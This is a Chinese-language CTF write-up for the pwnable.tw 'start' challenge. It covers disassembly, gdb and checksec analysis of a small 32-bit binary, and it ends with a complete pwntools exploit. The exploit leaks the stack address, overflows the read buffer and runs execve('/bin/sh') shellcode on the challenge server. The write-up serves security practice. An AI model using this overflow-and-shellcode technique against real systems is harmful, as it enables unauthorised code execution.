我觉得我住在了start…
debug 1 2 3 4 5 6 7 8 9 10 11 $ file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped $ strace ./start execve("./start" , ["./start" ], 0x7ffc871d4590 /* 62 vars */) = 0 strace: [ Process PID=90877 runs in 32 bit mode. ] write(1, "Let's start the CTF:" , 20Let's start the CTF:) = 20 read(0, AAAA "AAAA\n", 60) = 5 exit(0) = ? +++ exited with 0 +++
**strace: **对程序的系统调用和信号传递的跟踪结果来对程序进行分析,以达到解决问题或者是了解程序工作过程的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 $ objdump -M intel -d ./start ./start: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 54 push esp 8048061: 68 9d 80 04 08 push 0x804809d 8048066: 31 c0 xor eax,eax 8048068: 31 db xor ebx,ebx 804806a: 31 c9 xor ecx,ecx 804806c: 31 d2 xor edx,edx 804806e: 68 43 54 46 3a push 0x3a465443 8048073: 68 74 68 65 20 push 0x20656874 8048078: 68 61 72 74 20 push 0x20747261 804807d: 68 73 20 73 74 push 0x74732073 8048082: 68 4c 65 74 27 push 0x2774654c 8048087: 89 e1 mov ecx,esp 8048089: b2 14 mov dl,0x14 804808b: b3 01 mov bl,0x1 804808d: b0 04 mov al,0x4 804808f: cd 80 int 0x80 8048091: 31 db xor ebx,ebx 8048093: b2 3c mov dl,0x3c 8048095: b0 03 mov al,0x3 8048097: cd 80 int 0x80 8048099: 83 c4 14 add esp,0x14 804809c: c3 ret 0804809d <_exit>: 804809d: 5c pop esp 804809e: 31 c0 xor eax,eax 80480a0: 40 inc eax 80480a1: cd 80 int 0x80
sys_write 输出14h字节数据:Let’s start the CTF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 +-----------------+ <---- | Let’ | | +-----------------+ | | s st | | +-----------------+ | | art | 14h +-----------------+ | | the | | +-----------------+ | | CTF: | | +-----------------+ <----- | offset _exit | +-----------------+ | Saved ESP | H-> +-----------------+
sys_read read函数最多可以读取3ch字节,超出了分配的空间,可以用来覆盖ret_addr和esp。经调试验证,20字节后覆盖ret,24字节后覆盖esp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 +-----------------+ <---- | aaaa | | +-----------------+ | | aaaa | | +-----------------+ | | aaaa | 14h +-----------------+ | | aaaa | | +-----------------+ | | aaaa | | +-----------------+ <----- | aaaa | +-----------------+ | Saved ESP | H-> +-----------------+
可以通过“0x14+Addr”跳转想要的地址
objdump: 对目标文件(obj)或可执行文件进行反汇编,是一种可阅读格式的二进制文件。
1 2 3 4 objdump -M intel -d ./start
Try it with gdb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $ python -c "print(0x14*'A'+'BBBB')" AAAAAAAAAAAAAAAAAAAABBBB $ gdb -q ./start pwndbg: loaded 191 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase , $ida gdb functions (can be used with print /break) Reading symbols from ./start...(no debugging symbols found)...done . pwndbg> r Starting program: /mnt/hgfs/pwn/pwnable/start/start Let's start the CTF:AAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────[ REGISTERS ]──────────────────────────────────── EAX 0x19 EBX 0x0 ECX 0xffffd0c4 ◂— 0x41414141 (' AAAA') EDX 0x3c EDI 0x0 ESI 0x0 EBP 0x0 ESP 0xffffd0dc —▸ 0xffffd00a ◂— 0x0 EIP 0x42424242 (' BBBB') ─────────────────────────────────────[ DISASM ]───────────────────────────────────── Invalid address 0x42424242 ─────────────────────────────────────[ STACK ]────────────────────────────────────── 00:0000│ esp 0xffffd0dc —▸ 0xffffd00a ◂— 0x0 01:0004│ 0xffffd0e0 ◂— 0x1 02:0008│ 0xffffd0e4 —▸ 0xffffd2bb ◂— ' /mnt/hgfs/pwn/pwnable/start/start' 03:000c│ 0xffffd0e8 ◂— 0x0 04:0010│ 0xffffd0ec —▸ 0xffffd2dd ◂— ' CLUTTER_IM_MODULE=xim' 05:0014│ 0xffffd0f0 —▸ 0xffffd2f3 ◂— 0x435f534c (' LS_C') 06:0018│ 0xffffd0f4 —▸ 0xffffd8df ◂— ' LC_MEASUREMENT=zh_CN.UTF-8' 07:001c│ 0xffffd0f8 —▸ 0xffffd8fa ◂— ' LESSCLOSE=/usr/bin/lesspipe %s %s' ───────────────────────────────────[ BACKTRACE ]──────────────────────────────────── ► f 0 0x42424242 ────────────────────────────────────────────────────────────────────────────────────
准备checksec,结果不小心把pwntools删了,安装pwntools和checksec都是人间玄学。 在peda里看NX是开了,直接看checksec,NX并没有开(神奇)
1 2 3 4 5 6 7 8 checksec start [*] '/mnt/hgfs/pwn/pwnable/start/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
NX没开,所以可以在栈上执行代码
writeup
Launch ./start
Overflow and output esp address with “0x8048087”(mov ecx,esp) 用write函数输出栈地址
Add 0x14 + shellcode
Execute shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.arch = 'i386' context.os = 'linux' debug=0 if debug: p=process('./start' ) context.log_level='debug' gdb.attach(p) else : p=remote('chall.pwnable.tw' , 10000 ) shell_code = asm('\n' .join([ 'push %d' % u32('/sh\0' ), 'push %d' % u32('/bin' ), 'xor edx, edx' , 'xor ecx, ecx' , 'mov ebx, esp' , 'mov eax, 0xb' , 'int 0x80' , ])) log.info('Pwning start:' ) p.recvuntil(':' ) payload_1 = b'A' * 0x14 + p32(0x08048087 ) p.send(payload_1) esp_addr = u32(p.recv(4 )) payload_2 = b'a' * 0x14 payload_2 += p32(esp_addr +0x14 ) payload_2 += shell_code p.send(payload_2) p.interactive()
tips 系统调用的过程可以总结如下: 1. 执行用户程序(如:fork) 2. 根据glibc中的函数实现,取得系统调用号并执行int $0x80产生中断。 3. 进行地址空间的转换和堆栈的切换,执行SAVE_ALL。(进行内核模式) 4. 进行中断处理,根据系统调用表调用内核函数。 5. 执行内核函数。 6. 执行RESTORE_ALL并返回用户模式 Linux 32位的系统调用时通过int 80h来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数。
系统调用号
1 2 3 4 5 6 7 8 9 10 11 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11
切换peda和pwndbg
reference link